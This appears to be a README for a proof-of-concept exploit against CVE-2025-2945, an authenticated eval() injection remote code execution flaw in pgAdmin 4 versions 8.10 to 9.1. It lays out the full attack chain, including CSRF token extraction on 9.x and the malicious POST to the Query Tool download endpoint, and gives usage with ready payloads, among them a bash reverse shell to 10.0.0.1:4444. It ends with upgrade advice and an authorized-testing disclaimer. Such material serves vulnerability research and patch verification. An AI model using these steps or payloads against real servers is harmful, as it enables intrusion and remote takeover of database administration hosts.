
Authenticated RCE in pgAdmin 4 (8.10–9.1) via eval() injection in the Query Tool. This is an updated PoC with compatibility fixes for pgAdmin 9.x auth changes
Proof of concept for CVE-2025-2945, a critical remote code execution vulnerability in pgAdmin 4.
Affected versions: 8.10 through 9.1
Fixed in: 9.2 (released April 4, 2025)
CVSS v3.1: 9.9 (Critical)
The pgAdmin 4 Query Tool exposes an endpoint that accepts a query_commited parameter and passes it directly to Python's built-in eval() without any sanitization. An authenticated attacker can submit arbitrary Python code through this parameter and have it executed server-side under the pgAdmin service account.
The vulnerable endpoint is:
POST /sqleditor/query_tool/download/<trans_id>
The query_commited field in the JSON body is evaluated as Python code on the server.
In pgAdmin 4 versions prior to 9.2, the query tool download handler calls eval() on user-supplied input:
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
No input validation, sandboxing, or allowlisting is applied. Any valid Python expression executes with the privileges of the pgAdmin process.
/authenticate/login, obtain a session cookie and CSRF token/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> with database credentials to establish a query tool session/sqleditor/get_server_connection/<sgid>/<sid> iterating over IDs until one returns data.status == true/sqleditor/query_tool/download/<trans_id> with {"query_commited": "<python payload>"}, receive a 500 response confirming executionOlder pgAdmin versions embedded the CSRF token in a hidden <input> field or a cookie. Version 9.x moved to a React SPA architecture where the token is embedded as JSON inside a window.renderSecurityPage() call on the /login page:
"csrfToken": "<token value>"
The token is session-scoped (Flask-WTF / itsdangerous), so the token obtained from the initial GET /login remains valid for the entire session and can be reused for all subsequent API calls.
pgAdmin 9.x split the login route:
GET /login — renders the login page (contains the CSRF token)POST /authenticate/login — processes credentialsOlder PoCs that POST directly to /login will receive a 404 or 405 on 9.x instances.
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| Argument | Description |
|---|---|
--rhost | Target hostname or IP (no scheme) |
--rport | Target port (default: 80) |
--username | pgAdmin login email |
--password | pgAdmin login password |
--db-user | PostgreSQL username |
--db-pass | PostgreSQL password |
--db-name | Database name |
--payload | Python expression to evaluate on the server |
--max-server-id | Max server IDs to probe (default: 10) |
Command execution:
--payload "__import__('os').system('id')"
Reverse shell:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/Upgrade to pgAdmin 4 version 9.2 or later.
This repository is for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit permission to test.